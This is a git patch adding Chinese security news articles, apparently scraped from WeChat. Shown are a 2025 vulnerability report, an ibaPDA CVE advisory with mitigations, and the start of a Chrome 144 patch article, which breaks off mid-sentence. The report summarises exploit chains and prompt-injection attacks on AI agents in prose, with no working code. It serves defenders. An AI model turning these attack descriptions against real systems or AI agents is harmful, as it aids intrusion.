From d1b4492d37d46124a09fa7e2ad78aa75de03451b Mon Sep 17 00:00:00 2001 From: test Date: Thu, 29 Jan 2026 02:03:44 +0000 Subject: [PATCH] =?UTF-8?q?Fortinet=20=E4=BF=AE=E5=A4=8D=E4=BA=86=20CVE-20?= =?UTF-8?q?26-24858=20=E6=BC=8F=E6=B4=9E=EF=BC=8C=E6=AD=A4=E5=89=8D?= =?UTF-8?q?=E6=A3=80=E6=B5=8B=E5=88=B0=20FortiOS=20SSO=20=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E5=88=A9=E7=94=A8=E3=80=81=E7=BD=91=E5=AE=89=E5=AE=9E?= =?UTF-8?q?=E9=AA=8C=E5=B9=B2=E8=B4=A7=E6=AF=8F=E6=97=A5=E5=88=86=E4=BA=AB?= =?UTF-8?q?S2-053=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7=E8=A1=8C?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E-0129=E3=80=81Chrome=20144=E7=89=88=E6=9C=AC?= =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9A=E4=BF=AE=E5=A4=8D10=E9=A1=B9?= =?UTF-8?q?=E5=AE=89=E5=85=A8=E6=BC=8F=E6=B4=9E=EF=BC=8C=E5=B9=B6=E4=BF=AE?= =?UTF-8?q?=E8=A1=A5V8=E5=BC=95=E6=93=8E=E7=9A=84=E5=8D=B1=E9=99=A9?= =?UTF-8?q?=E7=BC=BA=E9=99=B7=E3=80=81=E5=A4=9A=E5=AE=A2=E5=9C=88=E5=AD=90?= =?UTF-8?q?=E8=AE=BA=E5=9D=9B=E7=B3=BB=E7=BB=9F=E4=BB=BB=E6=84=8F=E6=96=87?= =?UTF-8?q?=E4=BB=B6=E8=AF=BB=E5=8F=96=E6=BC=8F=E6=B4=9E=20=E9=99=84POC?= =?UTF-8?q?=E3=80=81CVE-2025-14988=EF=BC=9AibaPDA=20=E5=B7=A5=E4=B8=9A?= =?UTF-8?q?=E8=BD=AF=E4=BB=B6=E5=AD=98=E5=9C=A8=E4=B8=A5=E9=87=8D=209.8=20?= =?UTF-8?q?=E7=BA=A7=E6=BC=8F=E6=B4=9E=E3=80=81=E3=80=90=E6=B7=B1=E5=BA=A6?= =?UTF-8?q?=E8=A7=A3=E6=9E=90=E3=80=91VulnHunter=20-=20AI=20=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E7=8C=8E=E4=BA=BAv6.0=E6=BC=8F=E6=B4=9E=E6=89=AB?= =?UTF-8?q?=E6=8F=8F=E5=B7=A5=E5=85=B7=EF=BC=9A=E5=8A=9F=E8=83=BD=E5=85=A8?= =?UTF-8?q?=E3=80=81=E9=80=9F=E5=BA=A6=E5=BF=AB=E3=80=81=E6=93=8D=E4=BD=9C?= =?UTF-8?q?=E7=AE=80=EF=BC=8C=E5=AE=89=E5=85=A8=E6=B5=8B=E8=AF=95=E7=9A=84?= =?UTF-8?q?=E7=BB=88=E6=9E=81=E8=A7=A3=E5=86=B3=E6=96=B9=E6=A1=88=E3=80=81?= =?UTF-8?q?=E6=96=87=E7=AB=A0=E7=82=B9=E8=B5=9E=E6=BC=8F=E6=B4=9E=E3=80=81?= =?UTF-8?q?=E5=8F=B0=E8=BE=BE=20PLC=20=E8=A2=AB=E6=9B=9D=203=20=E4=B8=AA?= =?UTF-8?q?=E2=80=9C9=20=E5=88=86=E7=BA=A7=E2=80=9D=E4=B8=A5=E9=87=8D?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=EF=BC=9A=E7=9C=9F=E5=8D=B1=E6=9C=BA=EF=BC=8C?= =?UTF-8?q?=E8=BF=98=E6=98=AF=E8=A2=AB=E5=A4=B8=E5=A4=A7=E7=9A=84=E6=81=90?= =?UTF-8?q?=E6=85=8C=EF=BC=9F=E3=80=81=E9=94=90=E6=98=8E=E6=8A=80=E6=9C=AF?= =?UTF-8?q?Crocus=E7=B3=BB=E7=BB=9F=20Upload=E5=AD=98=E5=9C=A8=E4=BB=BB?= =?UTF-8?q?=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E3=80=81Telnet=E6=BC=8F=E6=B4=9E=E6=88=96=E5=BD=B1=E5=93=8D?= =?UTF-8?q?=E5=85=A8=E7=90=8380=E4=B8=87=E5=8F=B0=E8=AE=BE=E5=A4=87?= =?UTF-8?q?=EF=BC=8CIoT=E2=88=95OT=E8=AE=BE=E5=A4=87=E4=BC=9A=E5=BE=88?= =?UTF-8?q?=E5=8F=97=E4=BC=A4=EF=BC=81=E3=80=81=E6=BC=8F=E6=B4=9E=E9=A2=84?= =?UTF-8?q?=E8=AD=A6=20|=20=E5=AD=9A=E7=9B=9F=E4=BA=91SQL=E6=B3=A8?= =?UTF-8?q?=E5=85=A5=E6=BC=8F=E6=B4=9E=E3=80=81=E8=87=AA=E5=8A=A8=E5=8C=96?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=E5=AE=A1=E8=AE=A1=EF=BC=8C=E6=94=AF=E6=8C=81?= =?UTF-8?q?PHP=E3=80=81Java=E3=80=81Python=E3=80=81Go=E3=80=81Node.js?= =?UTF-8?q?=E7=AD=89=E5=A4=9A=E7=A7=8D=E8=AF=AD=E8=A8=80=E9=A1=B9=E7=9B=AE?= =?UTF-8?q?=E7=8E=AF=E5=A2=83=E6=90=AD=E5=BB=BA=E3=80=81=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E5=88=86=E6=9E=90=E3=80=81=E6=BC=8F=E6=B4=9E=E9=AA=8C=E8=AF=81?= =?UTF-8?q?=E3=80=81=E6=8A=A5=E5=91=8A=E4=BA=A7=E5=87=BA=E3=80=81=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E9=A2=84=E8=AD=A6=20|=20=E8=8B=B1=E8=B5=9B=E7=89=B9?= =?UTF-8?q?=E4=BA=92=E8=81=94=E7=BD=91=E5=AE=A2=E6=88=B7=E6=9C=8D=E5=8A=A1?= =?UTF-8?q?=E5=B9=B3=E5=8F=B0SQL=E6=B3=A8=E5=85=A5=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E3=80=812025=E5=B9=B4=E5=BA=A6=E7=BD=91=E7=BB=9C=E5=AE=89?= =?UTF-8?q?=E5=85=A8=E6=BC=8F=E6=B4=9E=E5=88=86=E6=9E=90=E6=8A=A5=E5=91=8A?= =?UTF-8?q?=E3=80=81ChatGPT=E6=96=B0=E6=BC=8F=E6=B4=9E=E5=8F=AF=E8=AE=A9?= =?UTF-8?q?=E6=94=BB=E5=87=BB=E8=80=85=E7=AA=83=E5=8F=96=E8=B0=B7=E6=AD=8C?= =?UTF-8?q?=E9=82=AE=E7=AE=B1=E3=80=81=E5=BE=AE=E8=BD=AF=E9=82=AE=E7=AE=B1?= =?UTF-8?q?=E5=8F=8A=E4=BB=A3=E7=A0=81=E6=89=98=E7=AE=A1=E5=B9=B3=E5=8F=B0?= =?UTF-8?q?=E6=95=B0=E6=8D=AE=E3=80=81=E6=BC=8F=E6=B4=9E=E9=A2=84=E8=AD=A6?= =?UTF-8?q?=20|=20vLLM=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81=E6=89=A7?= =?UTF-8?q?=E8=A1=8C=E6=BC=8F=E6=B4=9E=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 18 +- ...025年度网络安全漏洞分析报告.md | 162 +++++++++++++++ ... 工业软件存在严重 9.8 级漏洞.md | 33 ++++ ...微软邮箱及代码托管平台数据.md | 3 +- ...洞，并修补V8引擎的危险缺陷.md | 26 +++ ...前检测到 FortiOS SSO 漏洞利用.md | 25 +++ ...设备，IoT∕OT设备会很受伤！.md | 46 ++++- ...简，安全测试的终极解决方案.md | 134 +++++++++++++ ...真危机，还是被夸大的恐慌？.md | 187 ++++++++++++++++++ ...系统任意文件读取漏洞 附POC.md | 97 +++++++++ doc/2026-01/文章点赞漏洞.md | 144 ++++++++++++++ ...洞预警 vLLM远程代码执行漏洞.md | 48 +++++ .../漏洞预警 孚盟云SQL注入漏洞.md | 6 +- ...联网客户服务平台SQL注入漏洞.md | 42 ++++ ...享S2-053远程代码执行漏洞-0129.md | 136 +++++++++++++ ...洞分析、漏洞验证、报告产出.md | 96 ++++----- ... Upload存在任意文件上传漏洞.md | 47 +++++ 17 files changed, 1173 insertions(+), 77 deletions(-) create mode 100644 doc/2026-01/2025年度网络安全漏洞分析报告.md create mode 100644 doc/2026-01/CVE-2025-14988：ibaPDA 工业软件存在严重 9.8 级漏洞.md create mode 100644 doc/2026-01/Chrome 144版本发布：修复10项安全漏洞，并修补V8引擎的危险缺陷.md create mode 100644 doc/2026-01/Fortinet 修复了 CVE-2026-24858 漏洞，此前检测到 FortiOS SSO 漏洞利用.md create mode 100644 doc/2026-01/【深度解析】VulnHunter - AI 漏洞猎人v6.0漏洞扫描工具：功能全、速度快、操作简，安全测试的终极解决方案.md create mode 100644 doc/2026-01/台达 PLC 被曝 3 个“9 分级”严重漏洞：真危机，还是被夸大的恐慌？.md create mode 100644 doc/2026-01/多客圈子论坛系统任意文件读取漏洞 附POC.md create mode 100644 doc/2026-01/文章点赞漏洞.md create mode 100644 doc/2026-01/漏洞预警 vLLM远程代码执行漏洞.md create mode 100644 doc/2026-01/漏洞预警 英赛特互联网客户服务平台SQL注入漏洞.md create mode 100644 doc/2026-01/网安实验干货每日分享S2-053远程代码执行漏洞-0129.md create mode 100644 doc/2026-01/锐明技术Crocus系统 Upload存在任意文件上传漏洞.md diff --git a/data.json b/data.json index e6ba523b..8e55ac15 100644 --- a/data.json +++ b/data.json @@ -17305,5 +17305,21 @@ "https://mp.weixin.qq.com/s/0ELPiwYJSI_aduU2lly2YA": "腾达Tenda 路由器存在敏感信息泄露漏洞 附POC", "https://mp.weixin.qq.com/s/lnXRMkzdzkUBL25g9HWxjg": "Cloudflare曝零日漏洞：利用证书验证路径可绕过WAF访问任意源站", "https://mp.weixin.qq.com/s/23f7itDcmeDixxIF9ZTtsQ": "注册功能漏洞检查清单", - "https://mp.weixin.qq.com/s/EUhJqOlATFvX8EabSTtF9Q": "【漏洞预警】Fortinet多款产品身份认证绕过漏洞(CVE-2026-24858)" + "https://mp.weixin.qq.com/s/EUhJqOlATFvX8EabSTtF9Q": "【漏洞预警】Fortinet多款产品身份认证绕过漏洞(CVE-2026-24858)", + "https://mp.weixin.qq.com/s/wJPCkHgw-3hiNsrwkOgIwQ": "Fortinet 修复了 CVE-2026-24858 漏洞，此前检测到 FortiOS SSO 漏洞利用", + "https://mp.weixin.qq.com/s/WIg-z4De3SbjYDlXXKHHHA": "网安实验干货每日分享S2-053远程代码执行漏洞-0129", + "https://mp.weixin.qq.com/s/07mFCKRNe18Tfc2RDZXNDg": "Chrome 144版本发布：修复10项安全漏洞，并修补V8引擎的危险缺陷", + "https://mp.weixin.qq.com/s/Gl8BUqwPnZ-nkJrAvya1lg": "多客圈子论坛系统任意文件读取漏洞 附POC", + "https://mp.weixin.qq.com/s/I0byVZlQfTfzvhavWqBwJA": "CVE-2025-14988：ibaPDA 工业软件存在严重 9.8 级漏洞", + "https://mp.weixin.qq.com/s/1YR6HLXgk4pSrgbfcoGyRg": "【深度解析】VulnHunter - AI 漏洞猎人v6.0漏洞扫描工具：功能全、速度快、操作简，安全测试的终极解决方案", + "https://mp.weixin.qq.com/s/miCQivLf_ypq7xFXDFwc6A": "文章点赞漏洞", + "https://mp.weixin.qq.com/s/ErjvCAVgjBYuRB3Rt1rQ0A": "台达 PLC 被曝 3 个“9 分级”严重漏洞：真危机，还是被夸大的恐慌？", + "https://mp.weixin.qq.com/s/YK1BS7kNg83t35JV8lQk_g": "锐明技术Crocus系统 Upload存在任意文件上传漏洞", + "https://mp.weixin.qq.com/s/Iy8Np2aPfREuAuo_xSa_fw": "Telnet漏洞或影响全球80万台设备，IoT∕OT设备会很受伤！", + "https://mp.weixin.qq.com/s/xuWr51zaJIBxT3Z_V-M_-Q": "漏洞预警 | 孚盟云SQL注入漏洞", + "https://mp.weixin.qq.com/s/4GZ9Pj1pm8-ObSbh8OcaxQ": "自动化代码审计，支持PHP、Java、Python、Go、Node.js等多种语言项目环境搭建、漏洞分析、漏洞验证、报告产出", + "https://mp.weixin.qq.com/s/QWEx4DuMWJXVuJE5M9DxFw": "漏洞预警 | 英赛特互联网客户服务平台SQL注入漏洞", + "https://mp.weixin.qq.com/s/xEvSR7BXqajut0DnzF5U4w": "2025年度网络安全漏洞分析报告", + "https://mp.weixin.qq.com/s/xii-VrzNF6wZe84fkdRU-w": "ChatGPT新漏洞可让攻击者窃取谷歌邮箱、微软邮箱及代码托管平台数据", + "https://mp.weixin.qq.com/s/Kfn-epmorp1Yz741OdU4gg": "漏洞预警 | vLLM远程代码执行漏洞" } \ No newline at end of file diff --git a/doc/2026-01/2025年度网络安全漏洞分析报告.md b/doc/2026-01/2025年度网络安全漏洞分析报告.md new file mode 100644 index 00000000..6ba940eb --- /dev/null +++ b/doc/2026-01/2025年度网络安全漏洞分析报告.md @@ -0,0 +1,162 @@ +# 2025年度网络安全漏洞分析报告 + 计算机与网络安全 2026-01-28 23:58 + +2025年网络安全态势呈现AI武器化、边缘设备失陷、供应链信任危机、漏洞利用加速及关键基础设施勒索常态化等趋势，攻击者聚焦AI基础设施与软件供应链，传统防御失效，需构建智能化、自动化攻防闭环与业务韧性。 + + +态势综述 + + +漏洞总量与趋势：2025年漏洞总量波动上升，年度平均每月4283个。3 - 5月维持较高水平（4400 +），6月降至3791个，7 - 8月回升至4000左右，9月达4596个，10月略有回落，11月为年度最低3310个，12月爆发式增长至5579个，创年度新高，环比增长68.55%，高于年度平均水平30.27%。 + + +全量漏洞严重程度分析：中危漏洞占比最高46.29%（23788个），高危34.82%（17894个），严重16.35%（8405个），低危2.54%（1303个）。中危和高危合计占81.11%，是年度漏洞主要部分，需分级处置，兼顾高等级漏洞和中危漏洞累积效应。 + + +漏洞类型分析：“其他”类型漏洞占比28.38%（12153个），跨站点脚本攻击(XSS)19.98%（8557个），权限管理不当13.44%（5755个），SQL注入5.87%，缓冲区溢出5.62%。前三类合计占61.80%，OWASP Top 10中主要Web安全风险合计超50%，Web应用仍是防护重点。 + + +行业漏洞数据分析：“通用行业”占比87.5%（44951个），为跨行业通用漏洞。具体行业中，教育（780个）、医疗卫生和社会工作（634个）、批发和零售业（531个）漏洞数量最多，电信、广播电视和卫星传输服务（432个）、制造业（347个）、金融业（301个）紧随其后，需加强通用组件治理和高危行业针对性防护。 + + +月度全景 + + +一月｜AI 时代的“斯普特尼克时刻”：DeepSeek遭大规模境外DDoS攻击，攻击升级并引发欺诈和钓鱼活动；Ivanti产品系列存在严重漏洞链被利用，CISA与FBI发出警告；SonicWall SMA1000零日漏洞被在野利用；Windows LDAP出现“零点击”RCE漏洞，威胁域控制器安全。 + + +二月｜“零点击”间谍阴云：WhatsApp零点击漏洞被用于秘密监控，约90名用户受害；印度塔塔科技遭勒索软件攻击，业务运营中断；APT组织“肚脑虫”利用PDF诱饵发起间谍活动。 + + +三月｜算力夺权与框架之殇：Bybit交易所被盗14 - 15亿美元以太坊；Apache Tomcat存在RCE漏洞（CVE - 2025 - 24813）；迪士尼因木马化AI工具遭黑客攻击。 + + +四月｜攻防演进的“点杀”时代：国家级黑客攻击亚冬会基础设施，源头指向美国NSA关联方；Vite开发工具存在任意文件读取漏洞（CVE - 2025 - 32395/31486）；Oracle老旧服务器遭入侵；三星德国分公司27万客户数据泄露；SourceForge平台沦为恶意软件分发跳板。 + + +五月｜零售业的“散布之影”：英国哈罗德、玛莎百货等大型零售商连续遭袭；医疗巨头Ascension二度被攻击，患者数据面临泄露；防勒索巨头Hitachi Vantara被Akira团伙攻破；Llama - Index CLI存在远程命令执行高危漏洞（CVE - 2025 - 1753）；Npm与PyPI供应链遭“土耳其代码”恶意软件攻击。 + + +六月｜邮件即入侵，协议即跳板：Windows Web DAV客户端存在RCE漏洞（CVE - 2025 - 33053）；Roundcube Webmail存在代码执行漏洞（CVE - 2025 - 49113）并被在野利用；新型Mirai僵尸网络感染TBK DVR设备；APT组织“摩诃草”针对高校实施定向窃密；巴黎迪士尼乐园64GB机密文件泄露。 + + +七月｜信任链的“静默污染”：出现“Slopsquatting”供应链攻击，利用AI助手生成代码幻觉投毒；黑客滥用Microsoft 365 Direct Send功能伪造邮件钓鱼；JavaScript库“is”遭npm供应链投毒；AT&T就数据泄露达成1.77亿美元和解协议；新型Hpingbot僵尸网络爆发。 + + +八月｜勒索引擎的“AI智能化”：全球首例AI驱动勒索软件"PromptLock"现身；Crush FTP零日漏洞（CVE - 2025 - 54309）被在野利用；Cisco ISE存在未授权RCE漏洞（CVE - 2025 - 20281）；GitHub出现“SmartLoader”恶意软件活动，通过游戏外挂投毒。 + + +九月｜具身智能的物理冲击：“s1ngularity”攻击感染超2180个GitHub账户；WhatsApp与Apple零日漏洞协同攻击特定目标；朝日啤酒遭网络袭击，生产线停摆。 + + +十月｜“影遁”提示词注入：AI代理存在参数注入和“影遁”零点击攻击漏洞；Windows Server WSUS存在RCE漏洞（CVE - 2025 - 59287）；Adobe Commerce与Magento存在严重漏洞（CVE - 2025 - 54236）；无印良品因供应商遭勒索软件攻击，电商业务中断；三星Galaxy S25存在零日漏洞。 + + +十一月｜闪电贷逻辑坍塌与 BADCANDY逆袭：LLM存在“零点击”和提示注入漏洞；Balancer协议遭攻击损失1.28亿美元；Cisco IOS XE遭BADCANDY恶意软件攻击；Linux内核UAF漏洞被勒索软件组织利用。 + + +十二月｜满分漏洞与架构重塑：React与Next.js存在RCE漏洞（CVE - 2025 - 55182）；Aisuru僵尸网络发起29.7 Tbps DDoS攻击；Coupang 3400万用户数据泄露；哈佛大学遭语音钓鱼，校友数据泄露。 + + +重点漏洞 + + +Langflow未授权代码注入漏洞(CVE - 2025 - 3248)：2025年4月曝出，平台未有效隔离Python执行环境且缺乏用户输入过滤，攻击者可通过API接口注入执行恶意代码，威胁企业内部AI环境中的服务器、AI模型及API密钥等核心资产安全。 + + +Microsoft SharePoint Server远程代码执行利用链(CVE - 2025 - 53770、CVE - 2025 - 53771)：2025年7月曝出“ToolShell”漏洞链，攻击者操作Tool Pane接口规避身份验证，结合不安全反序列化漏洞提取加密密钥，构造有效ViewState数据获取系统完全控制权，常用于针对政府和大型金融机构的APT攻击，可导致内网深度渗透、敏感文档库被窃取。 + + +Sudo外部资源引用不当漏洞(CVE - 2025 - 32463)：2025年7月发现，sudo处理--chroot选项时错误采用用户可控目录下的/etc/nsswitch.conf配置文件，本地低权限用户可诱导其加载恶意动态库或配置获取root权限，对多用户服务器或容器环境危害极大。 + + +Docker Desktop访问控制不当漏洞(CVE - 2025 - 9074)：2025年8月修复，本地Linux容器可通过默认Docker子网访问Docker引擎API执行特权命令，在特定Windows配置下还能以当前用户权限挂载主机驱动器，使大量个人电脑面临容器逃逸风险。 + + +WhatsApp授权校验漏洞与苹果Image I/O越界写漏洞组合利用(CVE - 2025 - 55177、CVE - 2025 - 43300)：2025年8月发现，前者可静默远程加载恶意内容，后者解析特制图像触发内存越界写，形成“零点击”攻击链，已用于对特定群体定向监控，可窃取设备通信、位置及媒体数据。 + + +SGLang大模型推理框架远程代码执行漏洞(CVE - 2025 - 10164)：2025年9月曝出，动态权重更新接口存在Pickle反序列化缺陷，攻击者可构造恶意Base64载荷植入系统命令，默认配置下“零交互”接管目标GPU服务器，波及众多机构部署的推理节点，经协同响应实现全球“野外零利用”。 + + +宇树机器人BLE漏洞（CVE - 2025 - 35027、CVE - 2025 - 60017、CVE - 2025 - 60250、CVE - 2025 - 60251）：2025年9月曝出“Uni Pwn”漏洞，BLE配置接口使用硬编码密钥，攻击者可近距离伪造管理员身份植入恶意代码获取最高权限，厂商响应滞后，可能引发机器人集群“僵尸网络”式连锁感染。 + + +FortiWeb远程代码执行漏洞(CVE - 2025 - 64446、CVE - 2025 - 58034)：2025年11月曝出漏洞链，涉及身份认证绕过与命令注入，攻击者可绕过认证创建管理员账户并注入指令实现未授权RCE，已在野活跃，威胁企业Web流量、后台数据安全及内网。 + + +三星移动设备Quram图像解析库远程代码执行漏洞(CVE - 2025 - 21042)：2025年11月披露在野攻击，处理DNG格式图片时存在索引越界逻辑错误，攻击者通过WhatsApp发送恶意图像，系统AI服务扫描时触发堆溢出实现RCE，被间谍软件组织用于静默植入监控程序，大量旧设备因Android碎片化仍处风险中。 + + +React Server Components代码注入漏洞(CVE - 2025 - 55182)：2025年12月发现，React服务器组件反序列化Flight格式数据时缺乏检查，恶意请求可触发服务端代码执行，攻击者构造特定payload可完全接管Web应用服务器，影响众多使用React架构的业务系统。 + + +关键趋势 + + +AI武器化与反制(AI Weaponization & Defense)：AI成为攻防核心引擎，攻击侧生成式AI提升漏洞挖掘与利用代码生成速度，大模型服务器成高价值目标，AI驱动自动化攻击复杂；防御侧以OpenAI的“Aardvark”自主修复Agent为代表走向自主化，倒逼传统响应体系重构，构建智能化、自动化攻防闭环成漏洞治理核心方向。 + + +边缘设备与物联网失陷(Edge & IoT Compromise)：传统边界防护失效，路由器、摄像头等智能终端成攻击者渗透内网“黄金入口”，攻击者利用旧漏洞入侵边缘设备，民生相关IoT设备风险凸显，政企需转向覆盖边缘及IoT资产的全生命周期漏洞管理与持续行为审计。 + + +供应链信任危机(Supply Chain Fragility)：软件生态“毛细血管”被毒化，底层组件与分发渠道成攻击首选，npm、PyPI生态及VS Code插件领域遭恶意攻击，企业需建立SBOM透明化治理与第三方风险动态评估。 + + +漏洞利用“零日化”与高速化(Rapid Exploitation)：漏洞从披露到在野利用时间窗口极度压缩，核心产品漏洞PoC发布后即遭攻击者锁定，趋势蔓延至大模型架构与云原生组件，企业需转向预测性威胁情报与自动化响应。 + + +关键基础设施勒索常态化(Critical Infrastructure Ransomware)：勒索软件聚焦支撑社会运转的核心命脉，攻击升级为获取物理控制权，实施“双重勒索”或“破坏性勒索”，防御重心转向高价值资产实时行为监测与分级加固。 + + +CISO指南 + + +从“AI应用”转向“AI治理”，构建模型级防御体系：建立AI资产清单（AI BOM），识别审计AI模型、推理框架和编排工具；实施模型层访问控制，针对AI Agent实施“影遁”防御策略，限制OAuth令牌权限；将安全评估扩展到提示词层与推理逻辑层，防范“零点击”提示注入攻击。 + + +重塑身份边界，应对“零点击”与机器身份危机：强制执行全量多因素认证（MFA），针对特权账号及关键基础设施实施抗钓鱼MFA；建立机器身份治理（MIG），自动化轮换凭证，清理僵尸账号，对第三方集成实施动态授权；通过微隔离技术限制域控等核心资产横向移动路径。 + + +深化供应链透明度，防御“底层协议”坍塌：要求供应商提供动态更新的SBOM，建立主流框架底层漏洞快速响应机制；针对开发工具实施严格本地访问控制，防止开发机成为生产环境“暗门”；引入AI驱动的依赖项扫描工具，识别阻断恶意软件包。 + + +强化边缘与OT韧性，应对关键基础设施勒索常态化：边缘设备补丁窗口缩短至24小时内，对无法及时补丁的OT设备实施物理隔离或协议转换代理；针对具身智能及工业控制系统实施专项安全评估，排查硬编码密钥与不安全通信协议；针对勒索软件导致的“业务停摆”进行实战化模拟，提升快速恢复能力。 + + +从“预防心态”转向“恢复能力”，构建安全行为文化：针对AI生成的钓鱼邮件和语音深伪开展实战化模拟演练，提升员工“数字直觉”；建立安全团队“减压”机制，利用AI自动化工具减少警报疲劳；密切关注新规，建立符合监管要求的秒级事件报告与响应流程。 + + +结语 + + +2025年网络安全领域发生范式转移，攻击者直指AI基础设施与软件供应链微循环，网络安全对抗边界重塑，边缘设备成攻击入口，生成式AI成攻防核心引擎，传统“围墙式”防御失效。安全是永无止境的进化，组织需具备迅速识别、快速自愈、持续进化的业务韧性。360数字安全集团在安全和AI领域积极布局，提供数字安全中国方案，赋能各类组织构建安全能力，支撑国家级网络攻防实战演习和重大活动网络安全保障。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odT9g0ktNiah9TFVMCSm5ByTdC25fkvxlAAPvzlKANc7sibuwp3pcduegp8uJnUGmicECwDtNlrW7fvQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odT9g0ktNiah9TFVMCSm5ByTvvOyaxf9RkrvwuaDosqkWTGeYUZicrib3UI1KO7BWwSYcShoyF3bsaaQ/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/VcRPEU1K2odT9g0ktNiah9TFVMCSm5ByTibuVyATdox86BWCquF4FPnTtvo6CB4ib0Y1Rp129SlqpXCgbEfkuH6LA/640?wx_fmt=png&from=appmsg "") + +本文完整文档已上传至星球 + +[点这里自助下载](https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655293752&idx=5&sn=7db74e77188c43c824d4b8f06fd8c27b&scene=21#wechat_redirect) + + +2025年度网络安全漏洞分析报告 +.pdf + +实战化工业靶场应用指南（2025版） +.pdf + +2025年网络攻击威胁洞察报告 +.pdf + + +[加好友进群](https://mp.weixin.qq.com/s?__biz=MjM5OTk4MDE2MA==&mid=2655294532&idx=2&sn=2f84758474cc8f8f49ae96b18653ea58&scene=21#wechat_redirect) + + + +来源：360数字安全 + diff --git a/doc/2026-01/CVE-2025-14988：ibaPDA 工业软件存在严重 9.8 级漏洞.md b/doc/2026-01/CVE-2025-14988：ibaPDA 工业软件存在严重 9.8 级漏洞.md new file mode 100644 index 00000000..60e75661 --- /dev/null +++ b/doc/2026-01/CVE-2025-14988：ibaPDA 工业软件存在严重 9.8 级漏洞.md @@ -0,0 +1,33 @@ +# CVE-2025-14988：ibaPDA 工业软件存在严重 9.8 级漏洞 +sec随谈 + sec随谈 sec随谈 2026-01-29 00:58 + +ibaPDA是一款用于工业环境中监控和分析过程数据的核心数据采集系统，现已发现一个严重安全 + 漏洞。该漏洞编号为CVE-2025-14988， CVSS严重性评分为9.8，这意味着依赖该软件构建运营技术（OT）网络的组织将面临迫在眉睫的威胁。 + + + + +该漏洞允许未经授权的人员篡改底层文件系统，从而可能损害重要工业数据的完整性。 + +该漏洞影响 ibaPDA 8.12.0 版本，被描述为一个高风险的安全问题，可绕过标准访问控制。根据安全公告，该漏洞“在特定条件下可能允许对文件系统执行未经授权的操作”。 + + + + +由于ibaPDA通常是工厂和车间记录高速过程数据的核心设备，攻击者一旦能够操纵文件系统，后果将不堪设想。“成功利用此漏洞可能使攻击者对文件系统执行未经授权的操作”，从而导致数据被盗、损坏或服务中断。 + +影响范围广泛，威胁到“系统的机密性、完整性或可用性”。 + +iba Systems已迅速采取行动解决该问题。该公司建议所有用户立即“更新至ibaPDA v8.12.1或更高版本”，以消除安全漏洞。 + +对于无法立即将系统离线进行更新的组织，该建议概述了几项关键的配置更改，以加强系统安全性： +- 启用用户管理：报告指出，默认设置可能过于宽松。管理员应“在配置选项下导航至用户管理设置”，并为管理员用户设置密码。 +- 加强网络访问控制：强烈建议管理员使用服务器访问管理器来限制连接。一项关键建议是将受信任的 IP 地址加入白名单，例如“仅允许 127.0.0.1（本地主机）或特定的系统 IP 地址”。 +- 防火墙加固：该建议指出，应禁用自动管理端口的便捷功能。用户应“停用‘在 Windows 防火墙中自动打开必要端口’选项”，并手动配置规则，以确保仅允许必要的流量通过。 +该漏洞的 CVSS 评分为 9.8，属于最高严重级别。建议使用 ibaPDA 8.12.0 的工业运营商将其视为紧急维护事件。 + +参考链接： + +https://www.cisa.gov/news-events/ics-advisories/icsa-26-027-01 + diff --git a/doc/2026-01/ChatGPT新漏洞可让攻击者窃取谷歌邮箱、微软邮箱及代码托管平台数据.md b/doc/2026-01/ChatGPT新漏洞可让攻击者窃取谷歌邮箱、微软邮箱及代码托管平台数据.md index 949ed0b1..5d6873bb 100644 --- a/doc/2026-01/ChatGPT新漏洞可让攻击者窃取谷歌邮箱、微软邮箱及代码托管平台数据.md +++ b/doc/2026-01/ChatGPT新漏洞可让攻击者窃取谷歌邮箱、微软邮箱及代码托管平台数据.md @@ -1,6 +1,5 @@ # ChatGPT新漏洞可让攻击者窃取谷歌邮箱、微软邮箱及代码托管平台数据 -原创 Radware - Radware 安全行者老霍 2026-01-26 01:01 + 天黑说嘿话 2026-01-29 01:42 作者：古鲁・巴兰. 发布时间：2026 年1 月8 日 diff --git a/doc/2026-01/Chrome 144版本发布：修复10项安全漏洞，并修补V8引擎的危险缺陷.md b/doc/2026-01/Chrome 144版本发布：修复10项安全漏洞，并修补V8引擎的危险缺陷.md new file mode 100644 index 00000000..e0a5bba6 --- /dev/null +++ b/doc/2026-01/Chrome 144版本发布：修复10项安全漏洞，并修补V8引擎的危险缺陷.md @@ -0,0 +1,26 @@ +# Chrome 144版本发布：修复10项安全漏洞，并修补V8引擎的危险缺陷 + TtTeam 2026-01-29 00:09 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/0HlywncJbB3APVE1CzYmdVeABOpILZTyTQt7qX6bOtXjibRLnmTicdPMjyAXsnhvUeb8aAtEe3NNTKXPvyWHD0OQ/640?wx_fmt=png&from=appmsg "") + +谷歌已正式将 Chrome 144 版本升级到稳定版渠道，推出了一项关键的安全更新，修复了 10 个漏洞，其中包括三个可能危及浏览器渲染和 JavaScript 引擎的高危漏洞。 + +该更新版本号为：Linux 版 144.0.7559.59，Windows 和 Mac 版 144.0.7559.59/60，目前正在向全球用户推送。 + +此次漏洞利用的焦点主要集中在谷歌的开源高性能 JavaScript 引擎 V8 上。攻击者经常以 V8 为目标，因为成功利用该漏洞可以让他们在浏览器沙箱内执行任意代码。 + +此次修复列表中最引人注目的是 CVE-2026-0899，这是一个 V8 